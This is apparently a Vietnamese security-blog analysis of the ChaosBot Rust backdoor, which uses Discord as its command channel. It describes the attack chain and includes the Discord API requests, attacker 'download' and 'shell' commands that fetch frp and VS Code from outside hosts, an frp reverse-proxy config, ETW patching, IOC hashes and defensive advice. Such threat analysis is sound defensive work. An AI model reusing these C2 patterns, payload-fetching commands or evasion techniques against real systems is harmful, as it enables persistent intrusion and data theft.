Skip to main content

Command Palette

Search for a command to run...

Mã độc mới "ChaosBot" sử dụng Discord thực hiện tấn công máy nạn nhân, trong đó có Việt Nam

Updated
8 min read
Mã độc mới "ChaosBot" sử dụng Discord thực hiện tấn công máy nạn nhân, trong đó có Việt Nam

Mở đầu

Cuối tháng 9 năm 2025, Đơn vị Ứng phó Mối đe dọa (Threat Response Unit, TRU) của eSentire phát hiện một backdoor mới viết bằng Rust trong môi trường của một khách hàng cung cấp dịch vụ tài chính. TRU đặt tên cho phần mềm độc hại này là ChaosBot. Thay vì dùng hạ tầng C2 truyền thống, ChaosBot lợi dụng các dịch vụ Discord hợp pháp để trao đổi lệnh và dữ liệu với kẻ tấn công.

Tên “ChaosBot” bắt nguồn từ hồ sơ Discord của một threat actor là chaos_00019Zalo, người được xác định là nguồn gửi lệnh tới các máy bị nhiễm. Phân tích nạn nhân cho thấy kẻ điều khiển chủ yếu nhắm tới người dùng nói tiếng Việt, nhưng không chỉ giới hạn ở vậy.


Chuỗi tấn công

Attack Chain diagram

Truy nhập ban đầu & di chuyển ngang

  • Kẻ tấn công sử dụng thông tin xác thực bị chiếm (compromised credentials) bao gồm tài khoản CiscoVPN và một tài khoản Active Directory có quyền cao tên serviceaccount.

  • Với tài khoản bị chiếm, họ dùng WMI để thực thi lệnh từ xa trên các máy trong mạng, triển khai và chạy ChaosBot.

DLL side-loading

  • Payload ChaosBot mang tên msedge_elf.dll được side-loaded thông qua thành phần hợp pháp của Microsoft Edge: identity_helper.exe.

  • Vị trí lưu trữ/mục tí được sử dụng: C:\Users\Public\Libraries.

Thiết lập backdoor bổ sung

  • Sau khi chạy, ChaosBot thực hiện thu thập thông tin hệ thống và tải về fast reverse proxy (frp) để thiết lập một reverse proxy vào mạng.

  • Kẻ tấn công còn thử tải Visual Studio Code và cố gắng cấu hình VS Code Tunnel như một backdoor bổ sung để chạy lệnh/ script — nhưng thao tác này thất bại do tương tác chọn phương thức xác thực.


Vector truy nhập thay thế

Theo báo cáo của Szabolcs Schmidt trên X (Twitter), các operator của ChaosBot cũng triển khai chiến dịch phishing dùng Windows Shortcut (LNK) độc hại.

  • Shortcut chạy một lệnh PowerShell tải về và thực thi ChaosBot.

  • Đồng thời shortcut tải/ mở một file PDF "vô hại" mạo danh thư từ Ngân hàng Nhà nước Việt Nam để đánh lừa nạn nhân.

    Image


Phân tích kỹ thuật

  • Ngôn ngữ: Rust.

  • Thư viện Discord: tùy biến theo biến thể — reqwest hoặc serenity để tương tác với Discord API.

  • Mẫu được mô tả trong báo cáo có SHA256: 90f16e9dd3d919a4e6173219a1561ab04607a490567da736fa2ab0180d6fffbb.

Cấu hình (ví dụ)
Cấu hình chứa: token bot Discord, guild (server) ID và channel ID — những thông tin này dùng để gửi/nhận lệnh và báo cáo khi thiết bị bị nhiễm.

Kiểm tra token

  • ChaosBot thực hiện GET https://discord.com/api/v10/users/@me với header:

      GET https://discord.com/api/v10/users/@me
      HTTP/1.1
      authorization: Bot <THREAT_ACTOR_DISCORD_BOT_TOKEN>
      accept: */*
      host: discord.com
    

    để xác thực tính hợp lệ của bot token.

Tạo channel riêng cho nạn nhân

  • Sau khi token hợp lệ, malware tạo một channel mới trong server của kẻ tấn công, tên channel thường là tên máy nạn nhân (hoặc tên máy + định danh phần cứng).

      POST https://discord.com/api/v10/guilds/<THREAT_ACTOR_GUILD_ID>/channels 
      HTTP/1.1
      authorization: Bot <THREAT_ACTOR_DISCORD_BOT_TOKEN>
      content-type: application/json
      accept: */*
      host: discord.com
      content-length: 35
    
      {"name":"<VICTIM_COMPUTER_NAME>","type":0}
    
  • Sau đó gửi thông báo vào channel “#general” của operator rằng một host mới đã kết nối, và channel mới đó dùng để nhận lệnh cho máy bị nhiễm.

Ghi chú ngôn ngữ/locale

  • Tất cả server được biết tới dùng một channel có tên "常规", gợi ý kẻ điều khiển có thể dùng phiên bản Discord/locale tiếng Trung.

      POST https://discord.com/api/v10/channels/<THREAT_ACTOR_GENERAL_CHANNEL_ID>/messages HTTP/1.1
      authorization: Bot <THREAT_ACTOR_DISCORD_BOT_TOKEN>
      content-type: application/json
      accept: */*
      host: discord.com
      content-length: 85
    
      {"content":"Host <VICTIM_COMPUTER_NAME> connected, channel created: <#<NEW_VICTIM_CHANNEL_ID>>"}
    

    New infected device notification in Discord


Các hoạt động của mã độc

  • Malware lặp lại (poll) để kiểm tra tin nhắn (lệnh) trong channel của nạn nhân:

      GET https://discord.com/api/v10/channels/<NEW_VICTIM_CHANNEL_ID>/messages?limit=1 HTTP/1.1
      authorization: Bot <THREAT_ACTOR_DISCORD_BOT_TOKEN>
      accept: */*
      host: discord.com
    
      [{"type": 0,"content": "shell systeminfo"...
    

    ví dụ lệnh: "shell systeminfo" (tắt bớt để dễ đọc).

  • Khi xử lý lệnh dạng shell, ChaosBot khởi một tiến trình PowerShell mới với tiền tố đảm bảo mã hóa UTF-8:

      powershell -Command "$OutputEncoding = [System.Text.Encoding]::UTF8; <SOME_COMMAND>"
    

    điều này giúp bảo toàn ký tự (quan trọng với đầu ra chứa ký tự Unicode).

  • Kết quả (stdout/stderr), ảnh chụp màn hình, hoặc file được upload trở lại Discord channel dưới dạng multipart/form-data (đính kèm file).

Một vài khả năng thu thập/triển khai

  • shell <command>: chạy lệnh qua PowerShell, upload kết quả dạng TXT.

  • download <url> <dest_path>: tải file tới thiết bị nạn nhân.

  • scr: chụp ảnh màn hình, upload PNG.

  • upload <src_path>: upload file từ máy nạn nhân.


Kỹ thuật né tránh

  1. Vô hiệu hóa ETW (Event Tracing for Windows)

    • Một biến thể của ChaosBot patch trực tiếp vài lệnh đầu tiên của ntdll!EtwEventWrite (ví dụ thay bằng xor eax, eax; ret) để ngăn ETW thu thập telemetry từ process, khiến EDR/AV/sandbox khó ghi nhận hành vi.
  2. Phát hiện máy ảo (VM detection)

    • Kiểm tra địa chỉ MAC so với các tiền tố MAC phổ biến của VMWareVirtualBox; nếu khớp, malware sẽ thoát để tránh bị phân tích trong sandbox.

FRP (Fast Reverse Proxy) — duy trì truy cập

  • Kẻ tấn công dùng lệnh download để tải frp về C:\Users\Public\Music\node.exe và file cấu hình node.ini.

      download hxxps://cdn.discordapp[.]com/attachments/1418576301236686928/1419510506380722229/node.exe?ex=68d205ad&is=68d0b42d&hm=12fc1ef2525834019505a2830ae2c200d0a2f37c34e9a141ee2488751c42a377& c:\\users\\public\\music\\node.exe
      download hxxps://cdn.discordapp[.]com/attachments/1418576301236686928/1419510525158621295/node?ex=68d205b2&is=68d0b432&hm=f8f4d85c862efec8b1b9f9a519da1f3472070fd3a171aca4936a9d037965374b& c:\\users\\public\\music\\node.ini
    
  • Sau đó khởi node.exe với file cấu hình:

      shell c:\users\public\music\node.exe -c c:\users\public\music\node.ini
    
  • Ví dụ cấu hình frp cho thấy server ở địa chỉ IP thuộc AWS Asia Pacific (Hong Kong): 18.162.110[.]113, cổng 7000, và một service socks5 mở remote_port = 6005 (kèm user/password).

      #frpc.ini [common]
      server_addr = 18.162.110[.]113
      server_port = 7000
      token = frp
      admin use_encryption = true
      use_compression = true
      tls_enable = true
      [plugin_socks5]
      type = tcp
      remote_port = 6005
      plugin = socks5
      plugin_user = niuben
      plugin_passwd = <REDACTED>
    

Hậu quả: kẻ tấn công có thể duy trì kết nối từ xa, vượt qua tường lửa và thực hiện di chuyển ngang trong mạng.


Thử nghiệm Visual Studio Code Tunnel

  • Kẻ tấn công tải code.exe (VS Code) và cố gắng cài đặt tunnel service bằng lệnh:

      download hxxps://transferai-all.s3.dualstack.ap-southeast-1.amazonaws[.]com/app/index/code.exe c:\\users\\public\\music\\code.exe
    
      shell (echo | c:\\users\\public\\music\\code.exe tunnel service install > c:\\users\\public\\music\\log)
    
      upload c:\\users\\public\\music\\log
    
  • Do quá trình cài đặt yêu cầu chọn phương thức xác thực (Microsoft account / GitHub) — có tương tác — lệnh tự động bị thất bại. Kẻ tấn công có vẻ đang thử nghiệm và chưa thành công trong kịch bản này.


Các IOC & chuỗi mẫu lệnh

  • SHA256 mẫu ChaosBot: 90f16e9dd3d919a4e6173219a1561ab04607a490567da736fa2ab0180d6fffbb

  • Mẫu file VS Code đã tải: f764ff0750aab9f2fc4cd9ec90c58f1fc85ac74330fc623104d42dfaaf825103

  • Ví dụ URL tải frp (obfuscated):

      hxxps://cdn.discordapp[.]com/attachments/.../node.exe?ex=...&is=...&hm=...
    
  • Ví dụ IP FRP server: 18.162.110[.]113:7000

  • Các đường dẫn thường thấy: C:\Users\Public\Libraries, C:\Users\Public\Music\node.exe, C:\Users\Public\Music\node.ini, C:\Users\Public\Music\code.exe

Danh sách IOC được cập nhập thường xuyên tại link sau: iocs/ChaosBot/ChaosBot-IoCs-09-24-2025.txt at main · eSentire/iocs · GitHub

SHA256

a118b24f3b299c7f94f8e2833e98afd19d638b5aa4008e9de1e9667fe9b2b8c6 

 msedge_elf.dll (ChaosBot)

04ac59051a7d9f7a6e1b43b82bd02b609a90674eb42a91a26caa1382912a5f9f 

 dpapi.dll (ChaosBot)

4d5f3690cdff840ceba70c1b1630ceadd0d3dcf23c8e0add0257cba2f166f5e6 

 UltraViewer.exe (ChaosBot new variant)

6445e4e9789a3413c19a6b80c1419f55b1144a83f38a8beed033c2850c470820 

 vncviewer.exe (ChaosBot variant that uses serenity for Discord API interaction)

2b2bdd167a27f642d5826afe3bcc4e293dffbfee7ac58d3195dfa2b9b9fac41e 

 node.exe (fast reverse proxy)

7e074d667bd4135237c2d0d0789ba8e3d777dbecc964e5090b5d2347fbcc8d38 

 code.exe (Visual Studio Code)

6445e4e9789a3413c19a6b80c1419f55b1144a83f38a8beed033c2850c470820 

 ChaosBot (new variant)

cdc73afb92617d9e2e0b6f2f22587f5f57316250a25b7bb8477a80628703e7b7 

 ChaosBot (new variant)

5a415f0b86c296e785b173a4e1525571b9fdd927f46f58c337b9de25d8bfebff 

 ChaosBot (new variant)

f4f9e105a27bcfbaef2449b340dd9ff6f28d1ecb42a74c8f4d1b7571355da3eb 

 ChaosBot (new variant)

32fbc9ee81f0538e8b2d1427f8a7bb2c20e698a0a9004964a39fd229f4245615 

 ChaosBot (new variant)

b721ae3c71fb898a0876d6f2fde67628957d067110c0e0de35d74064a4d7f150 

 ChaosBot (new variant)

cc7cd6f43f862528fc1ec72cbb17fe040eec61f1e84118c73ec586fd634c538d 

 ChaosBot dropper

6c9a316e7cf8f12c72c4bd2a5d5333a80f68817a058eb0edbc21a1a89e58d6f5 

 ChaosBot dropper

585ee0f329d7feb94d9b329b5d1ce5752fb07146e93fe518018dbb94b82032ec 

 ChaosBot dropper

5c516dd8918aa0fb96d735095b2a42968cce67541ce483ddc238503b318fc1dd 

 ChaosBot dropper

6903c1d509c843a53e03bb04d09b35d144bce527d7e6361f241cc00161c7c837 

 ChaosBot dropper

75c82147287041df1fa3628b54ea06e2eb5b3aed6b9250b02945a29bac5f9070 

 ChaosBot dropper

a8897a90266df6aebe6a1b8ab191fecad49ecdfb2889230c21cc8eeba115d23e 

 ChaosBot dropper

0f873d999bcc3cafe9630e68a36c4e754b89297afb73ffd1189b8e9739b203b7 

 ChaosBot dropper

8c00fc8110bb61d925cddedf355f0bf54a924bed7c92324b12797c99f172dd08 

 ChaosBot dropper

09c43ed814e1ffa520f1e84511fb11df3ac7e42be799fef5b29c7e3f7e6170fb 

 ChaosBot dropper

14f4af20ebc25de51b91017510922a05ab4b82f04271ede2298a64e4aebec65d 

 ChaosBot dropper

c8e50e9319753a9200e86387a8c05b2d2a4a795b5019496ffb5d9f38749ec629 

 ChaosBot dropper

cbea673af6bb1e1d33b27b763513e92053e4f3ae34874a84e0fc2afd351fd2b4 

 ChaosBot dropper

c98d5618e361797ced9f06f6febfc2c25c2d923105a9ba84465909db7b72d0e3 

 ChaosBot dropper

c0a13c772b43458c1cd9f19806a93805c7d6c65dc06bc3c36d634093138ae046 

 ChaosBot dropper

612210b976d365bf251ff9b0660f346ecb1b913fb2a7d129e643e3f739d5b4aa 

 ChaosBot dropper

b6e215982cea2c9e2759dcde1f41c6b78fe424ecbb4930f4eafe6c98bebf1920 

 ChaosBot dropper

5dd508292f41f44dea982eeea720466552bf44e4c7b9d446a61a051feb304223 

 ChaosBot dropper

b774fd6aebbc77f02c8feceee2e70ceedf74061b5dcfc7061732dcd77a9122a2 

 ChaosBot dropper

08c14bc1ddc1742d1c170ef44305651a97c69d57f6b9910250caa71dc4b4cb82 

 ChaosBot dropper

ed220bab22cee1752d432e15c8d086fcb78393d3ef00532c435b45a160d9aef4 

 ChaosBot dropper

e6faa8dfcac72b506105d43ca037d599fbe4df531730553689492f153677537f 

 ChaosBot dropper

20762ce45b7d4f2e59f8adf1fd91b3bc3e31c922c8ae04a92aed8529e3d15926 

 ChaosBot dropper

6c118470b018a275ffad889bab5db45902ef8d0a0da17da6b09f5134e13a5372 

 ChaosBot dropper

Domain

hxxps://transferai-all.s3.dualstack.ap-southeast-1.amazonaws[.]com/app/index/code.exe

hxxps://transferai-all.s3.dualstack.ap-southeast-1.amazonaws[.]com/app/index/edge/msedge_elf.dll

hxxps://transferai-all.s3.dualstack.ap-southeast-1.amazonaws[.]com/app/index/edge/identity_helper.exe

hxxps://cdn.discordapp[.]com/attachments/1418576301236686928/1419510506380722229/node.exe?ex=68d205ad&is=68d0b42d&hm=12fc1ef2525834019505a2830ae2c200d0a2f37c34e9a141ee2488751c42a377&

hxxps://cdn.discordapp[.]com/attachments/1418576301236686928/1419510525158621295/node?ex=68d205b2&is=68d0b432&hm=f8f4d85c862efec8b1b9f9a519da1f3472070fd3a171aca4936a9d037965374b&

hxxps://cdn.discordapp[.]com/attachments/1418576301236686928/1419525117595095080/UltraViewer.exe?ex=68d21349&is=68d0c1c9&hm=0b8afb1e51f7aa78cb5d7de7c42d5834bae9cf1ed7beb4f4e3473c22bb4f6eac&

hxxps://erspce-all.s3.dualstack.ap-southeast-1.amazonaws[.]com/fileserver/VPNupdate.zip

hxxps://erspce-all.s3.dualstack.ap-southeast-1.amazonaws[.]com/fileserver/VPNupdate.pdf

hxxps://erspce-all.s3.dualstack.ap-southeast-1.amazonaws[.]com/fileserver/vncviewer.zip


Kết luận & khuyến nghị

Phía FPT Threat Intelligence đưa ra các khuyến nghị sau:

  • ChaosBot là một backdoor hiện đại, viết bằng Rust, tận dụng Discord làm kênh C2 — hành vi này khó bị phát hiện nếu chỉ dựa trên lưu lượng HTTP(S) bình thường vì Discord là dịch vụ hợp pháp.

  • Đặc điểm đáng chú ý: side-loading DLL qua Microsoft Edge, sử dụng frp để tạo kết nối xuyên tuyến, patch ETW và kiểm tra MAC VM.

Khuyến nghị nhanh:

  • Kiểm tra log đăng nhập VPN và hoạt động tài khoản serviceaccount có quyền cao; reset/thu hồi credentials nghi ngờ.

  • Giám sát và chặn các kết nối tới/ từ tài khoản Discord bot không xác thực trong môi trường doanh nghiệp.

  • Phân tích các file C:\Users\Public\* bất thường; quét các file identity_helper.exe bị sửa đổi hoặc DLL side-loaded.

  • Phát hiện thay đổi ntdll!EtwEventWrite (patching) và kiểm tra các tiến trình có hành vi ghi nhớ/ghi patch vào ntdll.

  • Áp dụng kiểm soát tường lửa/Proxy để hạn chế khả năng tải tệp thực thi từ host bên ngoài và giám sát tải xuống từ CDN/Discord attachments.

  • Thêm các IOC trên vào danh sách giám sát để phát hiện và ngăn chặn kịp thời

Tham khảo

Newsletters

Part 1 of 50

More from this blog

F

FPT IS Security

726 posts

Dedicated to providing insightful articles on cybersecurity threat intelligence, aimed at empowering individuals and organizations to navigate the digital landscape safely.